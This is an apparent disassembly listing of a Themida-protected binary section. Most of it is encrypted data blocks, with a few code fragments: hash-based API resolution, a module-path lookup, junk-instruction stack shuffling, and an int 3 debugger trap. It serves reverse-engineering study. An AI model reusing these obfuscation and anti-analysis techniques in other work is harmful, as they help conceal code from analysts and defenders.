		dd 751603EFh, 70FF967Bh, 0DF0FC784h, 1EB519F9h,	0A7E94D39h
		dd 0CEAD2F34h, 0B2D6C352h, 43F4B13Eh, 3A19F9BAh, 25B44A4Dh
		dd 0B19D5B38h, 9827C5C4h, 2D7D1E0Bh, 18FD946Ah,	0AF5A6F3Bh
		dd 0D8C8C940h, 1CA940BCh, 0A8464330h, 906C2C19h, 0CCCBB8A4h
		dd 0B9FC712Eh, 31C819F9h, 91EFDCA2h, 0FBA68D53h, 2377150Ch
		dd 0F7763366h, 0CD19F9B9h, 1C089F36h, 493512Fh,	1897C19Fh
		dd 0C53A4D2Ah, 11Bh, 0ED1480E7h, 0BEE39D01h, 0CDB24E4Ah
		dd 1B02D236h, 22BC9A29h, 0B9A5435h, 0B508621Fh,	11751228h
		dd 0B9A4B1C8h, 16D766C0h, 9C006D2Ah, 2DC41229h,	0D8BDAA96h
		dd 22B99726h, 89B76344h, 5909BE22h, 44349F2Dh, 3FB047E0h
		dd 0CF5E6DB9h, 6846A2E2h, 65513D29h, 28B4C5A8h,	0AB68FF12h
		dd 1228B4C2h, 0FEDC6B02h, 501D1980h, 814744D1h,	22D7B54Ch
		dd 0AE9B5535h, 0F78413EDh, 2A289719h, 4BD53CCDh, 0F7000000h
		dd 47533522h, 8A19B04Eh, 886685FCh, 0B5086522h,	25BC1228h
		dd 4A362247h, 28B4E08Dh, 1FF9C12h, 5836C55Ch, 9E503522h
		dd 0D591F93Ah, 32C14D90h, 0C1AD4345h, 1055A45Dh, 9D2CD887h
		dd 553522BFh, 0BE9C0C9Bh, 4896h, 3622B800h, 28B4F479h
		dd 0AA39D012h, 0A886651Ch, 0E9C1BE22h, 0E0F0B3F5h, 715694F3h
		dd 0A25F4BDAh, 1228D8CBh, 0F65A46DDh, 6A72CC54h, 470644E8h
		dd 485E4340h, 224422B1h, 89672144h, 793622ABh, 1228B4F4h
		dd 3AAA39D0h, 0FEDC965Ch, 21B8FFFFh, 0B4A08563h, 856B2D50h
		dd 0AF3EDF55h, 9926C2C2h, 28C4C0ADh, 0F9E5C3Bh,	20231181h
		dd 0FAF89761h, 211A7E15h, 5743DA96h, 0FAD5D49Ah, 6D59F019h
		dd 0D5A9C481h, 841B19FAh, 165310F5h, 0C119FAD6h, 4431E716h
		dd 0D8C5AA46h, 0C45B40BCh, 88279E2Dh, 55419F53h, 50h, 0EF128077h
		dd 7B751603h, 6F4300ECh, 5519F9DDh, 0DDC1AC69h
		dd 6C0319F9h, 1804F0D5h, 0F9DE125Bh, 0B71BB219h, 37A7658Fh
		dd 0A05DEC34h, 19FA0EC9h, 0F3B4630Eh, 419E8FBCh, 73301C08h
		dd 19FA02FAh, 0F77633CAh, 0CD19FA02h, 0E8D4A736h, 0F6000000h
		dd 522F6321h, 2B18FD94h, 0BFAC916Fh, 513E23C1h,	65C9B533h
		dd 12E554E1h, 23B03FE2h, 28C14F66h, 0C46F2D12h,	95366E1Ch
		dd 5AE77E24h, 1E7B2F6Dh, 7AFF9A13h, 760D1E96h, 0EA96FA91h
		dd 7A44CCBEh, 51DFC45Bh, 17D4C021h, 19FA6D63h, 0DC107461h
		dd 3CC960F7h, 0C6A76450h, 0FE19FA6Dh, 6E185512h, 15AC19FAh
		dd 3161EF7Eh, 49E0187Ah, 0D311705Dh, 0DCC857EEh, 0CE50611Fh
		dd 0E0CC6321h, 860397F3h, 55EC8368h, 41BFDBC8h,	0B9A98C8Dh
		dd 0BB3318FEh, 2CCh, 0DC699707h, 0CA5795EFh, 0B946B8DDh
		dd 0A22FCDCCh, 8E1BD5B5h, 0A0E2CAD3h, 0CBCEBB48h, 0DEBBA835h
		dd 0E6A69320h, 0EFDB7D0Ah, 5E3B32h, 0C3A1891Ah,	0FA876121h
		dd 85718F0Dh, 0B491DC99h, 2FEC1228h, 1228B53Eh,	0B34AEF86h
		dd 0B4630AC7h, 0CA611228h, 22D0AE3Bh, 0DD1DF9BEh, 0EF7EE8C5h
		dd 0E4D03161h, 69DB94F8h, 160E69BBh, 2E8CA87h, 45DC19FAh
		dd 2C6A360h, 0D4B619FAh, 2630AC7h, 0CA6119FAh, 27614E33h
		dd 0F09BE4C9h, 0A1519301h, 0E6913D31h, 0E4D1BD4Fh, 13BE4DA3h
		dd 620CA3E4h, 0CBB8419Eh, 0B74E33C9h, 0B55528h,	21770000h
		dd 0B3A08563h, 773419D7h, 1228B93Eh, 15A25E3Eh,	0A78C6828h
		dd 9C886919h, 0F9D89BDFh, 95F5E219h, 0A897F75Bh, 746BAF3Fh
		dd 1CA940E5h, 11FD1C8Eh, 0CE1DCD54h, 8A0AF721h,	0E77E7A18h
		dd 0E8D46B02h, 0D4619FFBh, 2E3FFCE8h, 9621CE1Eh, 1D80EDAAh
		dd 0AD4421CEh, 0F89A8716h, 7A11EFAAh, 0B95C5FC6h, 0E86045FEh
		dd 1B8h, 0C8558BF3h, 0B643B9DBh, 0A532CCC9h, 8E1BD9B8h
		dd 7A07E1A1h, 0B4D6DEBFh, 0C7C2AF3Ch, 0D2AF9C29h, 0FA9A8714h
		dd 0E3CF71FEh, 5F4726h,	0B7957D1Ah, 0FA876121h,	85718F0Dh
		dd 0B491DC99h, 47331228h, 28B4E38Ah, 0B34AE112h, 22B99724h
		dd 0AD995735h, 28B47DF0h, 21B04712h, 0B3985434h, 9D2AC6C6h
		dd 927E630Fh, 0F9C161D5h, 0E0CC6319h, 0CA5795F3h, 5C41BFDDh
		dd 2BE8DCCEh, 19F9C242h, 94D99682h, 3019F9C1h, 7F6B0299h
		dd 0DE3A693h, 45029128h, 21D15039h, 0EF40F48Bh,	0D1FEB4AEh
		dd 11674ECh, 2D510000h,	5F3926B3h, 6E2714A1h, 77160390h
		dd 83FFEC79h, 801DD865h, 5926E2Ch, 0F27F7D18h, 0DD6A8405h
		dd 0C75490F0h, 0F17C3925h, 0D31A005Eh, 12800DEBh, 6A01FF99h
		dd 42B9C17Eh, 1E0B1A00h, 0BA28779h, 0A1867A1Eh,	0A18E730Ah
		dd 14D2AFE3h, 972ECB2Fh, 0D34B0026h, 0B6344F3Ch, 0B7A33AD1h
		dd 0CB4AEB53h, 0BC4B0356h, 3256432Fh, 0E6CB2968h, 3C29B84Fh
		dd 0C8B4A05Ch, 8D620Bh,	1575621Ah, 0C85FF6DBh, 35975439h
		dd 0C88EDD5Ah, 5937EE1Dh, 0BE220E9Bh, 72C82BEEh, 5617D45Ch
		dd 6E8EDD29h, 14DC40D7h, 0CC387E9Bh, 91EFDC6Bh,	0FA2C41FEh
		dd 34988EDCh, 43D5E5FDh, 0C259F046h, 0FD91F0DDh, 0EA816698h
		dd 0BE7B6753h, 8EDD82AFh, 5035CBCDh, 0EEB014B9h, 264EC852h
		dd 4A2FBE55h, 0E0C53B5Dh, 820094F3h, 53EA8166h,	0A857026Eh
		dd 41D81671h, 2448AC98h, 90DD2E96h, 0DD4CF786h,	3DCA2666h
		dd 3E5E3050h, 7379DDC2h, 0DFA05B12h, 0CAAF46DDh, 352h
		dd 0E4C27400h, 9E837D21h, 3015D3B1h, 0C3A84643h, 583DB3D6h
		dd 0ECD12F6Bh, 806583FFh, 11F6F493h, 0A88D6324h, 3E23D9BBh
		dd 0E389536Fh, 4C381h, 0EB830000h, 241C8704h, 242C895Ch
		dd 30BA68h, 24148900h, 176E68h,	241C8900h, 6039B850h, 0F74055E3h
		dd 0DD0F7D8h, 3259704Dh, 51D7BF57h, 0C7813AC5h,	12EB5D7Ch
		dd 6621F781h, 0E781604Bh, 64B01A02h, 0F781D7F7h, 0AB6C17C9h
		dd 895FF829h, 0EC8158C2h, 4, 83242489h,	5B042404h, 3F9C68h
		dd 24048900h, 4389D089h, 34FF5808h, 0C4815B24h,	4, 5A2434FFh
		dd 0E904C483h, 0FFF9D1ECh, 5BD92F9Fh
		db 40h,	0FFh
; ---------------------------------------------------------------------------


loc_5F12DA:				; CODE XREF: Themida_:005EF5C4j
		mov	eax, 7D7AC0Bh
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+7D131B5h], 47h
		push	0CF381725h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		mov	ebx, eax
		lea	eax, [ebp+7D10CCDh]
		push	eax
		push	104h
		call	ebx	; _iob
		mov	byte ptr [ebp+7D131B5h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		mov	[ebp+7D78E15h],	eax
		cmp	dword ptr [ebp+7D12AA1h], 0
		jz	loc_5F1344
		mov	ebx, [ebp+7D13231h]
		jmp	loc_5F1349
; ---------------------------------------------------------------------------


loc_5F1344:				; CODE XREF: Themida_:005F1333j
		mov	ebx, 0


loc_5F1349:				; CODE XREF: Themida_:005F133Fj
		push	100h
		lea	esi, [ebp+7D78E19h]
		push	esi
		push	ebx
		call	dword ptr [ebp+7D13335h]
		lea	esi, [ebp+7D78E19h]
		add	esi, eax
		jmp	loc_5F136A
; ---------------------------------------------------------------------------


loc_5F1369:				; CODE XREF: Themida_:005F1376j
		dec	esi


loc_5F136A:				; CODE XREF: Themida_:005F1364j
		cmp	byte ptr [esi],	5Ch
		jz	loc_5F137C
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5F1369


loc_5F137C:				; CODE XREF: Themida_:005F136Dj
		mov	byte ptr [esi],	0
		lea	eax, [ebp+7D78E19h]
		push	eax
		call	dword ptr [ebp+7D78E15h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5B5C982Ch, 74441CFBh, 5A2F2D1Eh, 4B7F724Fh, 0B156FE4Ch
		dd 8F2C988Bh, 4357423h,	6A5E5982h, 655552AFh, 9B466852h
		dd 156290D3h, 0A3435D3Fh, 681585FBh, 37288E2Ah,	0E9345646h
		dd 4Dh,	4B9BAC12h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch
		dd 1467006Ch, 8003B2BDh, 0FEB9h, 0Bh dup(0)
		dd 74CE900h, 58680000h,	0E907D7AFh, 0FFF9D094h,	0D7B04368h
		dd 0D08AE907h, 0F968FFF9h, 0E907D7B0h, 0FFF9D080h, 0D7B1DC68h
		dd 0D076E907h, 0B868FFF9h, 0E907D7B2h, 0FFF9D06Ch, 0D7B36668h
		dd 0D062E907h, 9D01FFF9h, 0AFE9D663h, 0BED7C451h, 0C7C6B340h
		dd 0D3AF9C29h, 0D0CD8815h, 0B542BEDCh, 0A22FCDC8h, 8D1AD4B5h
		dd 7704E0A0h, 412CE9D5h, 831A0063h, 3596BD9Bh, 0AA000000h
		dd 9221DFBDh, 856321B4h, 29683599h, 0BA43E54Ch,	0A433CDCDh
		dd 36B2D2BFh, 0B7D0BDA9h, 7CEDAA39h, 12290Dh, 0ECD86583h
		dd 826785FFh, 639DFEEBh, 7A58E77Eh, 44543522h, 8211A844h
		dd 776386F4h, 0B49FCE8Bh, 8E251228h, 1C5613FFh,	0A819F9DDh
		dd 0FA6F2C11h, 0DD19F9DCh, 0EDC2C332h, 0F0419E5Dh, 29Dh
		dd 56352212h, 0C8B388CBh, 59F0632Bh, 0B329EDCAh, 3D630AC7h
		dd 79191229h, 5E039A7Fh, 0F8AA38C7h, 45402D19h,	9C2BC2A7h
		dd 0BCD7C4B0h, 2CF2AF3Eh, 9819FA6Fh, 7BDF9C01h,	60DE2916h
		dd 0B0BD7A32h, 14DE2916h, 96FAE67Dh, 0A1E94B0Dh, 7F6BFABDh
		dd 0FAAFB0C2h, 987D14E5h, 6423980Ah, 0F8B5A186h, 0E5FAAF75h
		dd 8A21B84Fh, 5672E19Eh, 0BB52EDCFh, 26EB6BCFh,	2F9C72EBh
		dd 0C9C7B4A0h, 4EB29E2Bh, 3E6A226Ch, 1A5310A4h,	0AAEDCF22h
		dd 0ED7C13h, 98B06480h,	82ABA3Fh, 4F2AB23h, 0D5C90000h
		dd 0D7B19E2Bh, 0E69F8C19h, 0F8E7B08h, 1B7764F1h, 89550DDh
		dd 7D0AE6A4h, 6AF7F590h, 55E21C7Dh, 3FCC2868h, 79F4B19Dh
		dd 4B1A0063h, 0BE228563h, 97EC52CAh, 23E0CCD4h,	1228EF4Ah
		dd 6754E37Ah, 58E6CB29h, 0FA37FA2Ah, 9B02F69Fh,	692B1804h
		dd 8817AE93h, 1A27DF9Ch, 69D19FAh, 0E4A08D79h, 0FD8C2308h
		dd 5644E620h, 0EFDBC7B3h, 0FA1A3B32h, 0C9F8CA19h, 5B53D6h
		dd 7835C45Bh, 21CB9FA6h, 6522871Eh, 0BA69599Fh,	5896F1DEh
		dd 554F3BC9h, 6959D598h, 0C158EFBAh, 825A18D5h,	0D36AC23Ah
		dd 0CF3260EEh, 5F91F6E3h, 0CF8E4D0h, 3A821E4Fh,	800FA6C2h
		dd 0F2890C3h, 0B19D34CAh, 0E7A361C5h, 37E78A1Bh, 1FDDBBA8h
		dd 0FDBAA692h, 0CA0EE270h, 3CB85895h, 0C0655CBEh, 0EFAD9A29h
		dd 25615D11h, 7E6346FAh, 40706h, 40A0DE00h, 2EC2C6B3h
		dd 1DD3B4A1h, 6E4A390h,	0F20E8C79h, 0C1F3AA65h,	0AD9A27C1h
		dd 9A8714EAh, 8572FFF9h, 0BA5CE907h, 655C11CEh,	80681A00h
		dd 856321A2h, 0B46012A0h, 0CA87C937h, 122993A3h, 3A268A21h
		dd 40FDE961h, 1229692Dh, 7D690097h, 0FA9B5EC0h,	42CF6619h
		dd 0F3FF256h, 77B4C297h, 0C9285AE8h, 5692F0DDh,	0EA068471h
		dd 1BD8C453h, 21D1AFECh, 695541D8h, 0F8E4187Ch,	0D1B0323Bh
		dd 6CFB9221h, 0F7E3017Fh, 816E8A0Ah, 0CC59E806h, 5743A1DFh
		dd 0EED32D6Ah, 55E3C857h, 1BD8C425h, 29A2D1B7h,	3FB9D9C6h
		dd 0C0740BB0h, 0E6664F94h, 51AF270Ch, 28000003h, 10FD8A76h
		dd 0FEEB7874h, 0EDDA6799h, 0D6C350AEh, 0F4AF3CB4h, 698703A9h
		dd 5694EFDCh, 41BFDCC9h, 2BC9C7B4h, 5310FC9Eh, 1A00651Ah
		dd 22E4C2AAh, 27CC5735h, 0C9632FF9h, 0F5E27108h, 806D5997h
		dd 755AE907h, 6A56BBE7h, 0FABB45ADh, 4C4B3819h,	0A332C9AEh
		dd 62DA67FEh, 1ADh, 52352284h, 0D3300D9Ch, 0D2BE234Fh
		dd 0F9E70915h, 8877419h, 0DF6E05EAh, 523EA33Ah,	1741BFEEh
		dd 0A534318Fh, 3707C1E8h, 89681A0Fh, 0C3D7B09Dh, 0AC4328C6h
		dd 0DD9A8615h, 17080FBDh, 7E7A1A07h, 7F6B0299h,	0F97D693h
		dd 962D1708h, 0E6942207h, 3F2B1703h, 0D5BA3652h, 0FEC813Eh
		dd 41D81708h, 0B65EF5B2h, 0CF661EDCh, 333AF7E3h, 911EDCB7h
		dd 927F6BFAh, 7C69F6F2h, 62CE01Ch, 0E2FDA850h, 26E85FDh
		dd 59450000h, 6B2D1AA7h, 7A1B0895h, 8B0AF784h, 97F3E06Dh
		dd 8C11CC59h, 18E6A28h,	0EE7B7114h, 0D9668001h,	0C350ACECh
		dd 0F5783521h, 0CF1A0065h, 632109E7h, 0EDAC9985h, 861DDBB9h
		dd 168412F7h, 2E1B07F3h, 4502916Fh, 19F9E2C1h, 37B5CFBCh
		dd 872CBB52h, 848663F0h, 2915F4A6h, 0BEA3593Ch,	0EFAC9827h
		dd 21CB142Fh, 0DC99FE95h, 0B0ACFC74h, 0C4813B67h, 0B0ACFCA9h
		dd 1ED841Bh, 7E055644h,	7E3B27B8h, 0B87E04EFh, 0EF30D8Dh
		dd 0AC3BD277h, 0EF20A307h, 17FCFA97h, 70E81C80h, 28140097h
		dd 0E5A2583Bh, 0B87E4488h, 3116A53Ch, 2612F7A3h, 52EBEA69h
		dd 7676DAC0h, 4EE550B1h, 4FA9D8Ah, 5F1881Fh, 0EF7C7818h
		dd 4C998202h, 9EB12861h, 1D1BCF66h, 0C35F3625h,	19266DEh
		dd 35690000h, 37513ECBh, 463F2CB9h, 6F2E1BA8h, 7B170491h
		dd 6835F07Dh, 1DAA4644h, 0A975530h, 0F5827C1Dh,	0DF6C8808h
		dd 0D994513Dh, 0EB1A0066h, 63212503h, 0AD92502Fh, 0C9A7F16h
		dd 0A38F7B9Eh, 8E1DD3B6h, 0F9E74DD1h, 53E07719h, 0EF128075h
		dd 62CB4603h, 62F91A00h, 0ED0B8976h, 0E877460h,	0E5740BF0h
		dd 775C98F8h, 6C58B9E9h, 0D81050AFh, 47402D21h,	0FD3345A9h
		dd 0AEC50113h, 0F7E37A1Fh, 0E16E8A0Ah, 0C4E591F5h, 9D41F4C1h
		dd 8A19D7B0h, 1C01FF9Dh, 11FD1C8Eh, 0A989AA54h,	0A2E6D329h
		dd 831ABF4Eh, 9C87C7CFh, 3CB499E6h, 0E4h, 901DC3BBh, 7E0BE1A3h
		dd 6DFAF491h, 56E30180h, 42CF2969h, 0FC9E1687h,	0F8A7704h
		dd 1A7764F1h, 22624FDCh, 0AB9739C6h, 677FEEh, 7F5D451Ah
		dd 3EF1280h, 917D7316h,	28B499D4h, 5942B12h, 629F5C19h
		dd 8E251A00h, 20DCBCA9h, 0E92D034h, 0AC5CF7ECh,	0E5A3901Dh
		dd 722F1B07h, 1A0066FBh, 40E50381h, 0D7BC3253h,	351AA940h
		dd 4C805878h, 8A662466h, 21DFB8A5h, 39E8933Ch, 0D241EC58h
		dd 0D3BF3D5Bh, 5F99FAE7h, 4C7FCBA2h, 795F966h, 0F6B9DF41h
		dd 2BB847DEh, 0BDA25E3Eh, 0D7D06DD1h, 8D8786C4h, 1E7211FEh
		dd 0BF08779h, 722F7C1Eh, 664C41FBh, 0B69B32C9h,	472CCAC9h
		dd 6304F39Eh, 3B6ACEBAh, 4B239366h, 49A7E3D0h, 29E00FBAh
		dd 13008D6Bh, 84622175h, 8C71089Fh, 314h, 0E4C23600h, 9E837D21h
		dd 3015D3B1h, 0C3A84643h, 583DB3D6h, 0ECD12F6Bh, 806583FFh
		dd 11F6F493h, 0A88D6324h, 3E23D9BBh, 0E789576Fh, 4BD55h
		dd 0EF010000h, 4EF835Dh, 5C243C87h, 81E78957h, 4C7h, 4EF8300h
		dd 5C243C87h
; ---------------------------------------------------------------------------
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		push	182F517Fh
		pop	ebx
		dec	ebx
		not	ebx
		and	ebx, 4CB67730h
		shr	ebx, 3
		sub	ebx, 0BA56A0h
		mov	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	esi
		add	dword ptr [esp], 60A60CAFh
		pop	dword ptr [edx+8]
		push	ebx
		mov	ebx, 1E494630h
		shr	ebx, 8
		shr	ebx, 8
		and	ebx, 2F8144ACh
		add	ebx, 60A608A7h
		sub	[edx+8], ebx
		pop	ebx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 0DBh, 80h, 0E6h
		dd 75F47B71h, 6FB8ADDBh, 307D7B4h, 72E0FFC5h, 2A2D318Fh
		dd 6C780B65h, 4F4DB71Bh, 0F079B2B2h, 867A8936h,	8E1F6D8Fh
		dd 3910BD85h, 0F611D01Ah, 20C8DB2h, 0C8679759h,	23063237h
		dd 7F1F1AB2h, 7C53ABBDh, 4B7E612Ah, 0E8526D66h,	7, 0FB8687A8h
		dd 0E8790B91h, 12h, 403D9135h, 3D740481h, 21B46085h, 0C3EDF65Ah
		dd 8B662CCCh, 0E8585EFBh, 6, 0C30B13B6h, 0DE81A2D2h, 4FF7BED5h
		dd 4DC0815Ah, 6600006Fh, 0BBDC32BFh, 1BA8h, 8130FFF9h
		dd 0A9F904C2h, 0DE85943h, 0A8000000h, 66115E5Dh, 4D84A682h
		dd 0CBECDCh, 2860Fh, 0F38B0000h, 86F1815Ah, 8121104Ch
		dd 429C97E9h, 5EE98176h, 0F7B42C0h, 289h, 895A5200h, 14E96008h
		dd 0DE000000h, 6EFF2EA1h, 3D51BCC5h, 0A7DE880h,	0A51D68D9h
		dd 61A1401Dh, 6604E883h, 0EB83D68Bh, 96850F01h,	8BFFFFFFh
		dd 22E9F0h, 49D10000h, 4E7Dh, 7	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5F21D4
; ---------------------------------------------------------------------------
		push	7D7B76Fh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7B7E1h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7B9A5h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 0ACh
		dd 94810EF2h, 826FFCF0h, 715EEB05h, 5A47D412h, 7833C038h
		dd 0F5F38F25h, 0E2187B68h, 0CD2B6855h, 0B7355340h, 0DF9C882Ah
		dd 1A006A8Eh, 22704E36h, 0B4F47936h, 39D01228h,	23DDBDAAh
		dd 0E833513Eh, 0EA513F79h, 6BF88FEFh, 0F5F3927Fh, 5CEA7910h
		dd 22DFCB2Eh, 19F9F858h, 33F0D56Ch, 19F9F836h, 0C4A94746h
		dd 5B40BED7h, 27138FF7h, 9841EE9Ch, 0CB5D3EEDh,	0FFB0F120h
		dd 0DE419E3Ch, 35Bh, 5ADE3100h,	20DDC928h, 19F9E6FEh, 56432FC6h
		dd 0D02C6832h, 2EBD5439h, 4CD60CC9h, 0BBA7175Fh, 815A2957h
		dd 0CB885D03h, 175F67A2h, 9E503522h, 817F1A07h,	0E876059Ch
		dd 0AE6B57BAh, 1F308484h, 36C4A940h, 0E99BD844h, 9D20F0F3h
		dd 0D5D1A06h, 0B7270164h, 49473420h, 0CE321EABh, 0A8F1D6E5h
		dd 0A26DD1ABh, 8F7D327Dh, 0EAAA9726h, 9D8D5A0Eh, 0FADFE5C4h
		dd 38582h, 14CCB200h, 2FE9A87h,	0F10F8875h, 0DA187764h
		dd 0C622604Dh, 8D1F7E39h, 7966F30Dh, 6653E01Eh,	513ECB25h
		dd 8628B533h, 6B90DD9Ah, 4C341A00h, 0EF12806Eh,	6B574603h
		dd 0D66D1A00h, 639DFDEAh, 9FFBE8D4h, 0ABE7D461h, 1174614Dh
		dd 8392F6DBh, 23D55B9Dh, 7F64F38Ah, 0AE6A693h, 42FF8E25h
		dd 1A009E26h, 6BA3656h,	0F6CBB24Bh, 13FC7459h, 40000003h
		dd 2815A25Eh, 1603906Ch, 5F27F71h, 0EEDB6886h, 0CC754ACh
		dd 817F1B91h, 6E8C07F4h, 5997F4E1h, 43A1DFCCh, 6B2814B6h
		dd 1A006C02h, 80FCDAC2h, 4603EF12h, 1A006B57h, 0FDEAD66Dh
		dd 927F649Ah, 0CF5EF5F3h, 6B3C2DEAh, 0F09B1A00h, 0E82F8001h
		dd 18AE41A4h, 0D0000002h, 0A0856321h, 483E50B4h, 1A1F6598h
		dd 2FE9E8Bh, 56BBE775h,	8A1066Ah, 15FB4C25h, 0C1AE9A86h
		dd 0A94025C3h, 0FB115D1Ah, 806C19F9h, 13F8F693h, 0FAAEBF7Ch
		dd 7F1619F9h, 3D5E4BF0h, 8A472CC3h, 19F9FADFh, 68DE4DF8h
		dd 0ADE21504h, 0F58428DFh, 9F1E317Eh, 5CAC41h, 80CE0000h
		dd 90DD9A12h, 341228B4h, 5D1A069Dh, 19F9DD55h, 7F3D86Fh
		dd 997E7A1Ah, 0B3B67302h, 0C919F9DCh, 5F4C31CFh, 4AE1C624h
		dd 0DFC43A5Dh, 3E32967Bh, 0A44D5956h, 0D7690AF9h, 5A47FD2Ch
		dd 45DCC13Fh, 0A6703FB6h, 136D419Eh, 81000001h,	14F9F794h
		dd 6AB750B0h, 0DD74A22Fh, 6321704Eh, 0AE93512Fh, 3F24C2C1h
		dd 957A11A8h, 6D00BDA9h, 571228B4h, 0B4BFAE6Bh,	6E051228h
		dd 3F5B48D7h, 0FDE9D5C1h, 28B52D40h, 43009712h,	1228B52Ah
		dd 7CF1AE9Ah, 481228B4h, 0A68B1AB1h, 8BA656BAh,	0F7F34700h
		dd 28BE333Ah, 63FA9112h, 4BA9E7D4h, 0DD1B7966h,	1B776450h
		dd 0D261F8DDh, 28C33215h, 0AE4A4A12h, 5419D6C2h, 701228C3h
		dd 2FBD4AD9h, 0C6B29E43h, 28C26409h, 3AC96012h,	0A1F5914Eh
		dd 9B8819FCh, 831AFFFDh, 0A6634FF4h, 19FCA1C7h,	757310FDh
		dd 0FE62F990h, 96B06606h, 0FAE67DD3h, 0E6738D0Dh, 0AB5F99F9h
		dd 0F6CF5A2Eh, 4F5DD5BAh, 7C000001h, 6451DE02h,	523FCC20h
		dd 412EBB35h, 2A17A442h, 48039068h, 0C5235F55h,	0B2484B38h
		dd 9D5B3825h, 87652310h, 0AF6C58FAh, 1A006DBEh,	21401E06h
		dd 98563161h, 0F8851CB3h, 836F8D0Bh, 1D02AD1Fh,	28CE0D60h
		dd 0BC20B712h, 0D9C31E7h, 6321A280h, 0D5B3A085h, 8EFC8A17h
		dd 0A6937F6Bh, 0A5A80CE4h, 9216AD97h, 0F47F3CCBh, 0D019FA03h
		dd 0B249A7E3h, 0E876DAC6h, 15D0CE1Fh, 184D8B06h, 9693E9B4h
		dd 80781A07h, 3A953094h, 0CFBA12ADh, 73F6B340h,	919FA04h
		dd 0F3E06D8Bh, 88745997h, 48EDF9Ch, 9F3619FAh, 0A49810h
		dd 80BA0000h, 0FEF89912h, 0FFEB8219h, 3A89AF13h, 0EBA626A1h
		dd 0C8FA9F5Ch, 66CA1A00h, 9168D26Eh, 4A2FC6D2h,	34C13F5Dh
		dd 0CE9F5C48h, 0F61A00DEh, 0A5E3D05Fh, 0B26F5B47h, 1A00DEBBh
		dd 0FEE37209h, 0ABD50641h, 0D9177663h, 6C8A07F4h, 0A150FB87h
		dd 7AA954C0h, 3B27C5C3h, 22B14F4Eh, 0B6E8A895h,	9E351AD6h
		dd 56352207h, 0C1C6B398h, 3C5D4A2Fh, 379DDC2h, 3B4BAB36h
		dd 1201AC18h, 0EE1DC871h, 0DE8F4C38h, 0E663AC8Dh, 0B5D3C04Fh
		dd 0D1BEAA37h, 0BB5237B1h, 4C31CFCEh, 5B3926B5h, 340B89Dh
		dd 62000000h, 7D21E4C2h, 0D3B19E83h, 46433015h,	0B3D6C3A8h
		dd 2F6B583Dh, 83FFECD1h, 0F4938065h, 632411F6h,	0D9BBA88Dh
		dd 686F3E23h, 5F59h
; ---------------------------------------------------------------------------
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, 7D7B675h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	7BC9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	768Ah
		mov	[esp], ebp
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		jecxz	short loc_5F2239
		sbb	eax, 0EA924018h
		xor	ah, [ecx+51h]


loc_5F21D4:				; CODE XREF: Themida_:005F1C90j
		mov	eax, 7D7BB19h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0A2h, 0A4h, 0Fh
		dd 8236E96Eh, 4C6A3E4Bh, 0E02A1901h, 0DA15F132h, 6C1A7661h
		dd 225F8473h, 7D581D00h, 0C019696Ah, 3E01D562h,	47CB5308h
		dd 0E91B4914h, 0EBFB8F0Ch, 820A8C27h, 0C8ECB136h, 0B7A60A67h
		dd 5872655Ch, 2D337B45h, 4C925863h, 4398D92Ch, 8C6A4E7Eh
		dd 510733Dh, 0EA96241Ch
		db 4Ch
; ---------------------------------------------------------------------------


loc_5F2239:				; CODE XREF: Themida_:005F21CAj
		sbb	eax, 0C97C4F38h
		mov	ecx, 46B27929h
		xor	al, 4Ch
		int	3		; Trap to Debugger
		retn
; ---------------------------------------------------------------------------
		db 6Dh
		dd 0E3100D45h, 0DF8D8D06h, 6607D7BCh, 8D89D68Bh, 7D11B51h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 7CC35242h
		dd 0F407C497h, 0B84B8361h, 5585C7ACh, 7007D12Dh, 6A00006Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 4FA1C352h, 52D855DFh, 1D3985C7h, 7D1h, 85090000h
		dd 7D12129h, 2445B5FFh,	870F07D1h, 0Bh,	6E9h, 9DDAA900h
		dd 0FF0007A0h, 0D1180195h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0D71D5242h
		dd 15E98D29h, 958907D1h, 7D1197Dh, 0DE9h, 0C32B5700h, 2942A032h
		dd 5CDD6FD4h, 6A2752h, 5595FFh,	0C08B07D1h, 77222DEBh
		dd 0D065F126h, 0BCCFEA01h, 638B3483h, 552FCB29h, 32BAF8E8h
		dd 0CA64B211h, 0DD788360h, 2F6A767Fh, 8E601FBAh, 27AD3AF3h
